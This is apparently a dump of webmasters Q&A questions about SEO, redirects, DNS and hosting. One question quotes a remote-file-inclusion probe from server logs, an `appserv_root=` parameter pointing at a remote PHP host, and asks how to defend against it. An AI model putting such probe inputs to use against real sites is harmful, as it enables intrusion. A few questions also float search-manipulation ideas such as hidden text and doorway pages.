{"id":"35152","title":"SEOs: mobile version using AJAX: how to be properly read by crawlers?","text":"Before anything else, I'd like to emphasize that I've already read this and this. Here's what I can do: First choice: * create classical web version with all products in that page - `http:\/\/www.myweb.com`. * create mobile web version with all products in the page and use jQuery Mobile to format all nicely but this may be long to (load + format), and may provide bad user experience - `http:\/\/m.myweb.com`. Second choice: * create classical web version with all products in that page * create mobile web version with almost nothing but a Web page showing _wait_ , then download all products in the page using AJAX and use jQuery Mobile to format all nicely. Showing a _wait, loading_ message gives far more time to do whatever I want and may provide _better_ user experience - `http:\/\/m.myweb.com`. Question: if I choose the second solution, Google won't read anything on the mobile version (because all products will be downloaded in the page using AJAX), so it wont be properly read by crawlers. What \/ how shall I do?"}
{"id":"15828","title":"Is there a way to return a response every x seconds or so to a single http request?","text":"I'm wondering if it's possible to send a response every second or so to a single http request. Like for example the client makes an http request, then the server sends a space character every second. This could be never ending or with a limit, for example a minute. I think the word 'response' is misleading in this context, since I don't necessarily mean an http response. The whole http response could be composed of the space characters, which would mean a single http response to a single http request, except that it is a minute long. I tried chunked encoding but I don't think it works, or at least my implementation's wrong."}
{"id":"69036","title":"Pointing domain to VPS webserver","text":"I am hosting a webserver using IIS on my VPS and I have a domain through godaddy, how would I go about forward my domain to the webserver without mirroring the site using A records."}
{"id":"22158","title":"My old webhost has gone out of business. How can I recover the text of my website?","text":"I found my website in the Wayback Machine a few months ago. My old webhost stopped paying for their servers back in August without any notice. I was going to do a backup the day it happened. **Is there a way just to find the text of my website?** I have the old IP, images, but nothing else. None of the big search engines have caches anymore, and I already looked in the cache of three of my Macs with nothing to be found. I tried looking for my website in the Wayback Machine again today, but I got a strange error: it tells me it can't find robots.txt."}
{"id":"31123","title":"Port forward based on external IP (for VPS hosting)","text":"What I want to do is to host a VPS. First, I'd like to set up a static IP address that forwards to my home IP address (so I can have more than one IP coming into my house). 1. How can I do this without contacting my ISP (and is it even possible?; I don't care about paying for something that does this). 2. Once I have the extra external IP address, how can I forward it to my VPS? How is my router supposed to differentiate between two separate external IP addresses?"}
{"id":"18343","title":"Moving a WordPress installation from a subdomain to its own domain without losing PageRank","text":"I'd like to move a WP installation from a subdomain to its own without losing the PageRank achieved by that subdomain. What are the best steps in order to do this properly? Especially how do I set the redirects properly?"}
{"id":"14441","title":"RewriteRule was matching before migration, but now browser gets a 404 error","text":"I have this URL rewrite rule in my .htaccess RewriteEngine on RewriteRule ^home$ home.php but when I try to reach awatag.com\/home I get a 404 error. This rule worked perfectly before moving the domain to GoDaddy."}
{"id":"11123","title":"(Joomla 1.6) Template position descriptions don't refresh","text":"I want to change a description of a template position, so when I go to Admin->Extensions->Module Manager I see a different description of a module position in the position list when I edit a module. However, when I change (for instance) the template 'beez_20' and want to rename the name of the position 'debug', I change the description (TPL_BEEZ_20_POSITION_DEBUG) in the language file 'languages\\en-GB\\en- GB.tpl_beez_20.sys.ini' to something different, say 'Abracadabra'. However, the changes don't appear in the position list and I can find no reference whatsoever of how or when the ini files are read or maybe cached. Does anyone has a clue?"}
{"id":"11124","title":"mod_rewrite change . to -","text":"I'm moving my site and the URL structure has changed because of the new CMS. The urls would be similar to `\/my.products.htm` on the new site we are changing the URLs to this `\/my-products` is their a way to redirect all of the products to this new URL scheme using Mod_rewrite 301 redirect? Or is their another method I could use? The old site ran PHP the new one runs on Netsuite if that helps."}
{"id":"14330","title":"How to use apache mod-rewrite to remove trailing semi-colon on cookie?","text":"We have the following cookie set by a product: Set-Cookie: SSOCookie=T7ngsCmzC2FEq5p2a7o%3D; path=\/; domain=.demo.com; We would like to use Apache to remove the trailing `;` which doesn't match the Cookie specification. Can we use mod_rewrite? How? We are using Apache\/2.0.47."}
{"id":"14331","title":"Is there a way I can test which one of my VPS's is better?","text":"Is there any profile tool to tell which VPS I own is better? I have a VPS from rubyringtech & a VPS from burstNET. Both are CentOS 5.6 one is a intel i7 2600 & the other is a Xeon. Is there any unix software I can use to test to see which one performs better?"}
{"id":"23792","title":"Mentioning celebrities as customers","text":"My client owns a dry cleaning business. He serves people who stay at certain hotels in NYC. Some celebrities have been his customers while staying at those hotels. He would pick up and deliver their clothes for dry cleaning, sometimes hand-to-hand. Can he mention that fact and their names on his business website to advertise his services?"}
{"id":"6979","title":"Does Google value links to a page's named anchors (#) as equal to links to the page w\/o the anchor?","text":"Occasionally my site gets links directly to a sub-section of a page via a named anchor, e.g. \/mypage.html#section1 Does Google give this link equal weight as a link to \/mypage.html?"}
{"id":"24564","title":"state of art paradigm? 1 website for browser and mobile or 2 different websites","text":"I would like to know what the standard aproach for mediumsized websites is, if you want to have users with browser and mobile. Make 1 Website with a lot of if-else because of browser\/mobile or make 2 seperated websites? When do u make 1 website for browser\/mobile and when do u make 2 different websites?"}
{"id":"58569","title":"Does the <h1> tag get more SEO value if there is no usable keyword in the URL?","text":"I'm looking at a site for which the domain name and URL do not impart any meaningful data to a search engine. It does have: * `<h1>` (eBook name) * `<h2>` (author - cannot be changed) * `<p>` (description) Do the `<h1>` and `<p>` elements provide SEO value? Those are the only elements in that page that really provide any relevant information to search engines. I see other sites that use keywords in their URL. In theory, can the `<h1>` element be compared to a domain name in terms of SEO value?"}
{"id":"14339","title":"How to use Google Web Fonts \"text\" parameter on Blogger?","text":"Google introduced the new parameter \"text\" to the Google Web Fonts API, where you can choose which letters will come from your request (for when you only need few letters for the logo) The introdution of the new parameter is explained here But if I insert this Blogger Template: <link href='http:\/\/fonts.googleapis.com\/css?family=Over+the+Rainbow:regular&text=PulaAe' rel='stylesheet' type='text\/css'\/> I get this error: The reference to entity \"text\" must end with the ';' delimiter. Someone knows how is the right way to use this new parameter within Blogger?"}
{"id":"53947","title":"Would phpBB break if I move it from one folder to another? Can I use mod_rewrite to redirect requests for that forum from old folder to new one?","text":"Please note that I have installed dynamic web pages (PHP) in the directory *public_html\/old\/* in order to create the web site _www.example.com_. Actually I have created a PHPBB forum and thus the URL of a topic is: `http:\/\/ www.example.com\/old\/viewtopic.php` or the URL of the index file is: `http:\/\/ www.example.com\/old\/index.php` What I would like to do is to change the name of directory “old” to “new”. I have been consulted that it can be done by editing the file _.htaccess_ that exists in the directory *public_html* and write inside: Redirect permanent \/old http:\/\/example.com\/new Could you please let me know if is this correct or should I write www.example.com instead of example.com. Moreover could you please let me know whether this effects any aspect of my web site? In addition I have been informed that if I change the name of the directory then it may break my web site (since I will have changed the path or location of the script) unless I configure it to work correctly. Could you please let me know what should the configurations be?"}
{"id":"17978","title":"How to debug this site in IE9?","text":"Just finished this site: http:\/\/brodr-haukaas.no And to my horror it doesn't work properly in IE. Something is breaking my slider script, and I don't have much experience in debugging JS code using any of the browser debuggers. I need to use the IE9 debugging tool, but how would I do the break points? Where should I start? It would be great if someone could point me to some good resources with examples to go from. _Not sure if this belongs under Wordpress, programming or here. But I feel it's a fairly general web debug question._"}
{"id":"3013","title":"Uses of LINK tag","text":"The `<link>` tag appears to have many uses aside from stylesheets. For example the W3 suggest using it for previous\/next\/index pages. I know that Opera also has a Navigation toolbar that will show links when present, including Home, Index, Contents, Previous, Next, Copyright, Author and more. (I doubt it is actually used by more than a handful of people.) Are there any other attributes that are useful, or other uses for the ones above? What about SEO benefit?"}
{"id":"59961","title":"How to reuse font families in CSS for quicker CSS loading","text":"Let's say I use different fonts on my page, let's say I use 3 different fonts in 10-20 different CSS rules and in each of them I must use the following and similar: font-family:\"Lucida Sans Unicode\", \"Lucida Grande\", sans-serif; There must be some shortcut way to have these font families listed in CSS once and CSS rules could only have some way to \"point\" to which font family to use without the need of writing such long lines every time. How can this be done?"}
{"id":"53766","title":"How to use Node.Js in place of MySQL","text":"I want to know if it's possible to use Node.js in place of MySQL."}
{"id":"59967","title":"Domain name expired and sold to New Venture Services","text":"My domain name expired and although I was working with my Network Solutions to update my information somehow they let my name go and it was picked up by NVS Corp. At this point I can not get any information from anyone as to how I can purchase it back. My question is I spent thousands of dollars on the actual web site...so where is the web site now?"}
{"id":"34330","title":"Can too many 301 redirects cause a DNS error?","text":"For a site http:\/\/imageocd.com that I just set up I initially spelled the category \"automobiles\" as \"autimobiles\"... I know it's rediculous. I then set up over 10,000 pages behind that category e.g. http:\/\/imageocd.com\/automobiles\/hillman-minx-cabrio-pictures-and-wallpapers. So, I set up over 10,000 301 url redirects to change the spelling on automobiles. I just checked my Google Webmasters report and got an error saying: http:\/\/www.imageocd.com\/: Googlebot can't access your siteSep 7, 2012 Over the last 24 hours, Googlebot encountered 2 errors while attempting to retrieve DNS information for your site. The overall error rate for DNS queries for your site is 66.7%. Could the overabundance of 301 redirects be causing this? I host 13 sites on this dedicated server and all sites are running fine. I also contacted GoDaddy and they said the server is running fine. Any ideas on what might be going on? Also, I have \"canonical\" set up for every URL. Could this be part of the error? Thanks."}
{"id":"8720","title":"Protecting design ideas from being copied by other websites?","text":"I'm planning a project at the moment, while building a completely different project at the same time. Both of these projects are quite innovative in the way they either work or the way they are presented. One of the projects hasn't been done before, and the other is being made has competition, but I feel the competitions websites are light years behind what I'm doing. Is there a way for me to prevent the way my sites work or presented from being stolen? I've thought of patenting parts of them, but it requires £10,000 and I don't have that amount of money. Also, would me putting a Copyright notice on the site or an All Rights Reserved tag give me any muscle when going to websites that I feel have stolen my ideas (if they have)? Cheers!"}
{"id":"30365","title":"Appropriate response when client empowered with CMS destroys content to his own will","text":"So, I just recently closed a website project that pretty much was The Oatmeals' Design Hell, but with content. The client loved the site at the beginning but started getting other people involved and mercilessly bombarding us with their opinions. We served a carefully thought content strategy (which the client approved) and extremely curated copywriting that took us four months after at least 5 requirement changes (new content, new objectives for the business, changed offerings, new mindfaps, etc.) that required us to rewrite the content about 3 times. The client never gave timely feedback even though we kept the process open for him and his people to see (content being developed transparently in Google Docs). Near the end of the project he still wanted to make changes but wanted us to finish already (there are not enough words in the world to even try to make sense of this). So I explained to him the obvious implications of the never-ending requirement changes and advised him to take the time to gather his thoughts with his own team and see the new content introduced as a new content maintenance project. He happily accepted, but on the day of training\/delivery things went very wrong and we have no idea why. The client didn't even allow the site to be out for a week with the content we developed for him and quickly replaced us with a Joomla savvy intern so that he completely destroy the content with shallow, unstructured, tasteless and plain wordsmithing (and I'm not even being visceral). Worst insult of all, he revoked our access from his server and the deployed CMS not even having passed 10 minutes of being given his administrator account (we realized the day after that he did it in our own office, the nerve!). Everybody involved in the team is enraged and insulted. I never want to see this happen again. So, to try to make sense of this situation and avoid it in the future with new clients I have two concrete questions: * Is there even an appropriate course of action with a client like this?, or is he just not worth the trouble of analyzing (blindly hoping this never repeats again). * In the exercise to try and blame ourselves instead of the client and take this as a lesson of... something, how should we set expectations for new clients about the working terms, process and final product so that they are discouraged from mauling the content to their own contempt once they get the codes to the nukes (access to the CMS)?"}
{"id":"30364","title":"urlrewrite and search engines","text":"I have a urlrewrite that rewrites my urls like mypage.aspx?id=123&title=mytitle into ...page\/mytitle\/123\/ I'm trying to understand what are the pros \/ cons if any of having it like ...page\/mytitle\/123\/ instead of ...page\/123\/mytitle\/ Does it make any difference for search engines and is there anything i'm doing wrong with this?"}
{"id":"30361","title":"Why some AdChoices ads are showing AdRoll instead of Adsense","text":"I know what AdRoll is, but I have visited one of the my favorite blog and click on the AdChoice overlay and it is showing AdRoll. 1. Is AdRoll operating a ads network? (I think it is no) 2. Is AdRoll buy the Adsense inventory on behalf of the user? Can they allowed to modify the AdChoice overlay?"}
{"id":"50858","title":"How can I create (or do I even need to create) an alias of a DNS MX record?","text":"I am in the process of moving my DNS records from Network Solutions to the Amazon Route 53 service. While I know and understand a little about the basic kinds of records, I am stumped on how to create the record that will point to the MX record on Network Solutions (if I'm even saying that right). On Network Solutions I have this: Mail Servers (MX Records) Note: Mail Servers are listed in rank order myapp.net Add Sub-Domain MXMailServer(Preference) TTL inbound.myapp.net.netsolmail.net.(10) 7200 Network Solutions E-mail I have read that the payload for an MX record state that it must point to an existing A record in the DNS. Yet in the example above, that `inbound.myapp...` record only has the words \"Network Solutions E-mail\" next to it. Our email is hosted at Network Solutions. I have already created the CNAME records that look like this: mail.myapp.net 7200 mail.mycarparts.net.netsolmail.net. smtp.myapp.net 7100 smtp.mycarparts.net.netsolmail.net. Since I am only using Amazon as the DNS, do I even need to do anything with that MX record? I appreciate your help, I googled and researched this before I posted, this is my first post on webmasters although I've been on SO for a few years."}
{"id":"31548","title":"Disallow age gate\/verification page in robots.txt?","text":"Should I disallow the age gate page in robots.txt? I need to make sure the crawlers can get through the gate."}
{"id":"31549","title":"Block access to robots.txt file .htaccess","text":"I read in this forum that this .htaccess code should block access to the robot.txt file: RewriteCond %{HTTP_USER_AGENT} ^Mozilla RewriteCond %{HTTP_USER_AGENT} !(Slurp|surfsafely) RewriteRule ^robots\\.txt$ \/someotherfile [L] But I just get a error 500: \"Internal Server Error\" What do I do wrong?"}
{"id":"13873","title":"What is considered the optimal placement of a link to an RSS feed for SEO?","text":"When do I want a search engine's spider to run across my RSS feed link? * Before the heading (not saying header tag..) * During the heading * During the main content * During the footer * After the footer * Completely irrelevant * Other And why? As I understand it, it wont really matter much where the link\/button _displays_ but where on the page it is written in the code."}
{"id":"4185","title":"Why did Google stop indexing pages from our sitemap.xml?","text":"We're seeing some pages that exist in our `sitemap.xml` but are inexplicably missing from Google's public search index. You can't download http:\/\/superuser.com\/sitemap.xml -- we protect this file because there have been issues with it in the past -- but googlebot can. We have verified via Google Webmaster Tools that the `sitemap.xml` file was pulled down today and is rated OK with no errors (green checkmark).  The `sitemap.xml` contains a list of the last 50,000 questions on our site that were asked. For example, this question ... http:\/\/superuser.com\/questions\/201610\/how-to-see-the-end-of-a-long-chain-of- symbolic-links ... exists in the `sitemap.xml` as ... <url> <loc>http:\/\/superuser.com\/questions\/201610\/how-to-see-the-end-of-a-long-chain-of-symbolic-links<\/loc> <lastmod>2010-10-20<\/lastmod> <changefreq>daily<\/changefreq> <priority>0.2<\/priority> <\/url> Searching for \"How to see the end of a long chain of symbolic links\" gives only one result to questionhub.com which is scraping our data (a whole different problem). You can increment the question count number and do an exact search for the question title and you will see this pattern persist. These urls are _in_ sitemap.xml but they are not showing up in Google's index -- and yet they show up on sites that scrape our creative commons data. Why would that be?"}
{"id":"13875","title":". Rk domain registration","text":"Anybody knows where I can get .rk domains? Looks like nowhere so far - any idea?"}
{"id":"50855","title":"Paypal: Subscribe Buttons and Inventory","text":"Paypal lets you create purchase buttons, and one option is to make the purchase actually trigger an autopay - they call it a Subscription\/Subscribe button. They also let you enter inventory for a given item. If you enter 1 in Inventory for a Subscribe button, does Paypal: A) Treat that as 1 item in stock, and after 1 month the subscription will run out or B) Treat that as 1 Subscription in stock, and after one person purchases it, it will be out of stock (but the Subscription that 1 customer purchased goes on indefinitely) I assume B, but perhaps others have found otherwise."}
{"id":"50325","title":"How to change the zone file records for .io domain registered at nic.io?","text":"I just registered a `.io` domain at `nic.io` and I want to make changes to the zone file to integrate it with Google Apps. I couldn't find an interface to change CNAME \/ MX records. Has anybody been able to figure out how to do this?"}
{"id":"44397","title":"How to make image only website friendly to googlebot?","text":"so I making this portfolio site for some artist. She draw all the menus and texts manually(on paper), then scanned, some \"post processing\" in photoshop and that's how the whole layout was created. Now the problem is all texts are actually images so bots can't read this. How to make this site more friendly to google bot so it can actually gather some data? Some ideas are: * put text in alt, title tags (sometimes text is too long I guess) * some additional texts in footer * comments * found this: How do I get images containing text to be indexed by search engines? good idea? * also thought of normal text and than hiding it in javascript (googlebot doesn't execute js, does it?) Thanks for all answers P.S. I know it's bad idea, to create web page like this, I know about embed fonts but it's really specific case, so I hope you'll understand my problem:)"}
{"id":"30899","title":"Can I combine subdomains in Google Analytics?","text":"I have 2 separate domains in my Google Analytics: `abc.com` and `xyz.abc.com`. The second domain is 3rd party shopping cart. Right now the reporting for each is separate. I want to have them together so I can eventually set up goals and conversion tracking."}
{"id":"34195","title":"SEO impact of using <small> tag in <h1>","text":"Twitter bootstrap uses `<small>` tag within `<h1>`. What is the SEO impact of this? Will the text content in the `<small>` tag get equal importance? Here is an example (see the _Lightweight defaults Same markup, different classes_ ): <h2>Lightweight defaults <small>Same markup, different classes<\/small><\/h2>"}
{"id":"38397","title":"Upgrading Blog to WordPress, keep old one or redirect?","text":"I have had a blog for around 4 years now that has gained some success and gets tons of residual and organic traffic. I am using an outdated version of BlogEngine.NET and we are going to switch to WordPress. Currently, our blog is at ourwebsite.com\/blog, and I don't really want to mess with our web server. I setup a new server just for WordPress and instead of dealing with proxies and things that are above my head, the new blog will be at blog.oursite.com. I am trying to figure out the best way to go about doing this. We value our search engine rankings very much so, as that is where 90% of our traffic comes from. Would I be best off: 1. Importing all of the old blog posts from oursite.com\/blog to blog.oursite.com and then redirecting all of the articles, categories, authors, pages and tags to the new blog and giving up the direct links to our current site. 2. Keeping all of our current articles as they are, and only add new content to the new blog.oursite.com and just kind of let the old blog float around our site."}
{"id":"37703","title":"Is it okay to showcase templates\/layouts recreated in different codes in a portfolio?","text":"I have several different templates\/layouts, both simple and complex. I recreated these templates multiple times, just using different codes. (Say, a complex one was originally made in only HTML and CSS, I _recreated_ it using HTML, Javascript, CSS, then again with a HTML and PHP concoction, and etc.) I wanted to showcase my work and skills by doing this, but I don't know if it would be okay for that all to go into a resumé\/portfolio. This is why: * **Freelancing** Does potential business really care about how their site is made, as long as it looks and functions to their liking? (As in, should I just only show the one example of each template\/layout and not the multiple recreations?) * **Potential Hire** However, if a potential employer were to stumble across my resumé\/portfolio, would having the multiple recreations do any good for a career outlook? (As in, this potential employer is a company where I could be working on a team to create\/develop sites and not be freelancing; would a lack of skill-shining turn this employer away because I didn't set myself apart and show that I'm not just like every other budding web designer?) Those two issues have me wondering if it is okay to have a resumé\/portfolio combined for this specific reason. Or does something like this not matter to potential business (as a freelancer) because they wouldn't care either way _as long as it looks and functions to their liking_ and therefore it is okay to showcase the recreations with the originals?"}
{"id":"31767","title":"Spam link text when searching for company directors' name","text":"It was brought to my attention that if you search for the name of one of our directors (with the intent to find there profile page on our site) They come up as the first link in most search engines as you would expect but the link text is just pure spam. the three search string I have tested on Google, Bing, Ask, and Yahoo have all returned similar results. Here is a list of the search strings: > Paolo rossi futex > > Mark rossi futex > > Marco rossi futex > > Dan Goldberg futex Any idea what might be causing this I have searched through as much of the sites code as I can and cant find anything wrong with it."}
{"id":"67324","title":"changing URL format afftects SEO reputation and not considering 301 redirection","text":"We had URL `http:\/\/www.example.com\/category\/subcategory.html` which changed to `http:\/\/www.example.com\/category\/filter\/cat\/subcategory.html` We did `301 redirection`, updated `canonical URL` to new one also updated `sitemap` and also resubmitted to Google Webmaster Tool. But still reputation of old URL not shifted to new one. Old URL used come to first or second position for certain keywords but now I can't find old or new URL in any where in Google search. Why changing `URL` format affects `SEO` reputation and not considering 301 redirection? PS: We also changed `http:\/\/www.example.com\/category.html` to `http:\/\/www.example.com\/category-extra.html` and updated same as above. This seems working totally fine. No affect in position at all."}
{"id":"52560","title":"Remote desktop connection domain name SEO","text":"I have a website that has a domain name such like `www.example.com` which is of course the website. Then there is `example.com` which is used by my boss for remote desktop connection. I was wondering if this will be a problem for SEO?"}
{"id":"50603","title":"SSL certificate error only in Internet Explorer 8","text":"My SSL certificate works on all modern browsers (IE 9+), but does not work on IE 8. With modern browsers, the SSL certificate for my domain is used, but IE 8 wants to use the SSL certificate for my PaaS, resulting in a domain mismatch.  How do I fix this? Is this an issue with my PaaS?"}
{"id":"11800","title":"Best way to deal with non existant page","text":"I had on my website category pages. they were http:\/\/my.site.com\/en\/somecountry\/category\/ but with the structure change of my site (it's rather new), I have no need for this http:\/\/my.site.com\/en\/somecountry\/category\/ anymore. Now, google sees it as a crawl error. Obviously... How should I deal with it. I know I have to do a redirect 301 but the big question is... To where!"}
{"id":"33717","title":"serious 404 problem, suggestions for hunting them all down","text":"I have a bit of a situation coming up. Due to a complete website structure redesign that is basically inevitable, I expect to have the following: * Our sitemap of about 12,000 url's have about 90-95% of them change * Out of those 12,000, I expect around 5000-6000 internal links to go dead in the process. * No external links to this site yet, as it is still in development. Is there a tool out there that can do the following: * I can feed the sitemap.xml after the restructuring * have it parse each pages links for 404 errors on that page * only report the pages\/errors, preferably with just the url it is on, the url of the error, and the anchor text I have found a few tools, but all of them seem to be limited to 100 pages. Any advice for an intermediate webmaster to help this situation? 301 redirects are not viable in this situation."}
{"id":"54053","title":"URL good practice for category sub category?","text":"I have developed a application and I need to work for SEO-friendly URL. I have following URL structure: http:\/\/localhost:3000\/posts\/product\/testing-with-slug-url-2 and http:\/\/localhost:3000\/posts\/product\/testing-with-slug-url-2-4-23 Is this a good practice? If not how can I rewrite it? Ok Ill explain about my applicaiton. My application is based on shopping. if a customer searched for mobiles. it will redirect to url like this http:\/\/mydomain.com\/cat\/mobile-3 3 in the url indicates my database id it is used for further searching After the user reached the mobile page he may need to filter for some brand eg. nokia so my url look lik http:\/\/mydomain.com\/subcat\/nokia-3-2 The integer at the end refers to 3 category id and 2 the brand id My doubt is whether the integer at the end of the url will affect seo ranking."}
{"id":"65427","title":"Not my Rich Snippets","text":"My client had discussed in depth SEO. It was put off, however. Recently though, a Google search of the site revealed rich snippets. This is not from work that I have done for the site. I had began to work on this for his site, but it was put off and never made it into the deployments. How could the site possibly have rich snippets. If it is not from me, where could it be coming from?"}
{"id":"23728","title":"I own a domain and recently got a Trademark Infringement for it can I offer to sell it to them?","text":"I own a domain related to an iPhone Game and have been sent a Trademark Infringement on said domain by the company. It makes me a few dollars a month but nothing great, And I would like to offer to sell the domain to them. Does anyone have any advice or tips on this?"}
{"id":"65108","title":"Where is name=\"lc\" defined as a meta tag?","text":"I've noticed that ea.com includes a `<meta name=\"lc\" content=\"en_us\"\/>` tag on their website which changes for each language\/country (`<meta name=\"lc\" content=\"en_gb\"\/>`, `<meta name=\"lc\" content=\"es_mx\"\/>`, &c). I can't find any reference to `name=\"lc\"` being a valid meta tag. I've seen `<meta http-equiv=\"content-language\" content=\"en\">` and `<html lang=\"en\">`, but where did `name=\"lc\"` come from?"}
{"id":"23720","title":"How many variations of a term can be used before Google punishes your site?","text":"I have a new client with a huge inventory of antique items. My client has each item named properly on the website, however, each item has many common variations of each name. Often times the most popular search term is not the proper (official) name. I had the thought of creating a page for each variant of the name, which would create a page that looked like <html> <head> <title>Product One Name A<\/title> <\/head> <body> <h1>Product One Name A<\/h1> <p>Product One Name A blah, blah, blah<\/p> <h2>Product One Name A is also known as<\/h2> <ul> <li><a href=ProductOneNameB\/>Product One Name B<\/a><\/li> <li><a href=ProductOneNameC\/>Product One Name C<\/a><\/li> <li><a href=ProductOneNameD\/>Product One Name D<\/a><\/li> <li><a href=ProductOneNameE\/>Product One Name E<\/a><\/li> <li><a href=ProductOneNameF\/>Product One Name F<\/a><\/li> <\/ul> <\/body><\/html> I would then create the ProductOneNameB page, which would have the names changed a bit, but it would have the same description, structure and images. My hope is that I can rank high for each of the keywords. At the moment, the client is ranking high for the proper names, but not the variations. My question is, will Google consider this gaming the system, and punish me in the rankings?"}
{"id":"6402","title":"Importance of Preferred Domain","text":"Google Webmaster Tools allows to set preferred domain for a web site (with or without www). How important is it to set it in terms of SEO? Is there any difference which one I choose? Also, if I set a preferred domain should I issue a 301 redirect when someone visits the other domain? Thanks."}
{"id":"51732","title":"Clean URL using index files or mod_rewrite","text":"Is it better to make clean URL's using index files in directories or simply using `mod_rewrite` rules to remove the file extensions?"}
{"id":"8189","title":"What is the best way to promote a programming blog?","text":"(The guys from 'Programmers' referred me here...) How do you promote your programming blog? I recently started http:\/\/blackforestcoder.blogspot.com\/ to record my progress working with new technologies and ideas. The main aim being to provide a list of pitfalls and solutions and also to get feedback from readers. Since I set it up 10 days ago I have only had about 2-3 hits even though Google is supposed to be indexing it. How might I boost the hit rate?"}
{"id":"12476","title":"Google Analytics vs Zopim stats are different","text":"On my website I run Google Analytics and I also run Zopim. Zopim is providing very different figures than Google (more hits). Which one should I believe? Why would there be a difference?"}
{"id":"12474","title":"Do or don't submit the comment-feed of your blog?","text":"A commentsfeed (of a blog) might serve perfectly as a commentssitemap. I'm wondering if it's a good idea to submit this feed to Google's webmaster tools. What are the pros & cons?"}
{"id":"15400","title":"Downsides for adapting a site to HTML5\/CSS3?","text":"> **Possible Duplicate:** > Should I use HTML5 and\/or CSS3 to build my website? I've been wondering if there are any serious downsides for switching a websites code to HTML5\/CSS3 now (browser support, browser distribution in the user community) ? Would it be a better idea to hold on a little longer ? Thanks in advance for your replies"}
{"id":"27036","title":"DNS configuration to force root domain to www","text":"we have an app running on heroku. the dns setup is like this: A record for domain.com -> heroku front end ip addresses CNAME for www.domain.com -> specific host name for our app provided by heroku we also have an SSL cert for www.domain.com. the issue is that if someone goes to https:\/\/domain.com\/secure_stuff, they will get heroku's SSL cert, instead of ours, causing lots of fear. We can do things on our end to make sure that all of our URLs point to https:\/\/www.domain.com, but it still won't solve this specific issue. is there a way to configure the DNS record to redirect all root domain traffic to the www subdomain?"}
{"id":"48865","title":"How to backorder a .io domain name","text":"There is a .io domain name I want to buy when it becomes available in 12 months time. What is the best tool to buy this automatically?"}
{"id":"8182","title":"What is the purpose of the appserv_root requests?","text":"I see a lot of requests for nonexistent php files on my website. They tend to have a querystring like `appserv_root=http:\/\/www.example.com`, using domains with evil-looking php code. I am pretty confident that this is trying to make use of some php vulnerability or other. So, I am curious: 1. What vulnerability is this trying to make use of? 2. How does one protect against this vulnerability? 3. What in the site configuration would be changed if this vulnerability was successfully exploited?"}
{"id":"7765","title":"What to do with database in dev\/production phases of a website?","text":"For a while now I've been keeping a website I'm developing in the standard dev\/production phases. Its been pretty simple: Mercurial repo for dev, repo for production. Do work in dev, get approved, push to production. But now I'm trying to apply this process to a new website that has a database and am struggling on how to figure out a development strategy. What I didn't mention above is that I do all my work on my own repo, push it to dev, then later push it to production, so its 3 different servers. So how do I manage my database? The obvious solution of mysqldump every commit isn't going to happen, and a dump at the end of the day isn't all that helpful when you want to undo later one change that happened in the middle of the day. What is the best way to accomplish this?"}
{"id":"7766","title":"Will it hurt my website's SEO friendliness if I host a french targetted website at, let's say, godaddy.com?","text":"I have read that the server location is important for a website to be SEO friendly. I am planning to build a website from scratch which is targetted mainly to french audience (in france), but I am planning to host the web site at godaddy.com. My concern is will it hurt the website SEO friendliness? Or do you recommend me to host the website in france itself? I have also read that I need to have a static IP Address. If it's true, can anyone explain me for what reason? Can anyone suggest me some good web hosting companies, prefereable in france? Thanks in advance!"}
{"id":"51991","title":"How to track hot-linking of image types in IIS7","text":"I don't want to block hot-linking on my site; it's not that big a deal. However, Google Analytics doesn't show me referrers to png\/gif\/jpg content; I don't have any statistics on the load generated from external sites due to hotlinking. Is there a way I can have Google Analytics track those files? If not, are there any alternative software that can make this task easier than manually parsing through IIS7 logs?"}
{"id":"64680","title":"How do I remove a LOT of indexed pages from Google?","text":"A few weeks ago we have figured out that Google has indexed some information we would rather keep in some confidentiality, in the format of individual PDF files. Our assumption was that this was a problem with our robots.txt we had overlooked. Even though we are not sure whether or not this is the case, we are certain that the robots.txt file is in a valid format and is, according to Google's webmaster tools, blocking the files. However, even after this adjustment that has been made weeks ago, Google still has the PDF files indexed, but does tell us further information cannot be provided due to the robots.txt file being present. As you can hopefully understand, this is unwanted behaviour due to the nature of the documents. I am aware that there is a request page being provided by Google for this purpose, but there are a **lot** of files. Is there an easier way to get Google to remove all of the files from its search engine? If not, is there anything else you could advise us to do besides manually requesting Google to remove every single page?"}
{"id":"45297","title":"What search statistics are most reliable?","text":"I'm doing some research into the SEO of one my websites and looking at different keywords and the search traffic they generate. **Let's say I have a search term I'm ranked number one for a keyword and looking at the following reports reveals different results:** 1. Google Analytics reports 6 users visited on a particular day from a search term. 2. Google Webmaster tools reports I am ranked number one for the same search term and that 22 people clicked it on that same day. 3. Google Adwords traffic tool estimator reports the daily impressions would be zero for that search term (even when max CPC is 99999 and avg. position is 1). Is the Adwords traffic estimator a valid tool for SEO research? And why is there such discrepancies between my Google Analytics and Google Webmaster?"}
{"id":"7768","title":"Should I use subdomains or subfolders for my user groups?","text":"I run a photography website where each user has its own subdomain (i.e. user.site.com). I'm thinking of adding user groups but I'm unable to decide if I should also associate a separate subdomain or simply a subfolder for each group: **Subfolders** (www.site.com\/groups\/my-group) _Pros:_ * Easier to maintain from a tehnical p.o.v. _Cons:_ * Harder to memorize. * The URLs can get really long (www.site.com\/groups\/my-group\/albums\/my-album\/) **Subdomains** (my-group.site.com) _Pros:_ * Easier to memorize. * Shorter URLs. * One might have the impression that such an URL is somewhat more \"independent\" from the main site. _Cons:_ * Group and user names belong to the same name space, so we need to check for collisions when creating a new user\/group. * One cannot determine the content of the page by only reading the URL: Is x.site.com a user page or a group page? What's your opinion on the matter? I should note that DeviantArt.com uses the 2nd option (that's where I got the idea). Thank you in advance!"}
{"id":"3907","title":"Should the title text of a hyperlink be the same as the link text for SEO?","text":"Let's say I have the below hyperlink: <a href=\"http:\/\/www.example.com\" title=\"title text\">link link<\/a> It is good SEO practice to ensure that the title text is **exactly** the same link text? I.e. I would change the above link to: <a href=\"http:\/\/www.example.com\" title=\"title text\">title text<\/a> I know that the best practice is to have keywords in both, but does it do any harm if they are not identical?"}
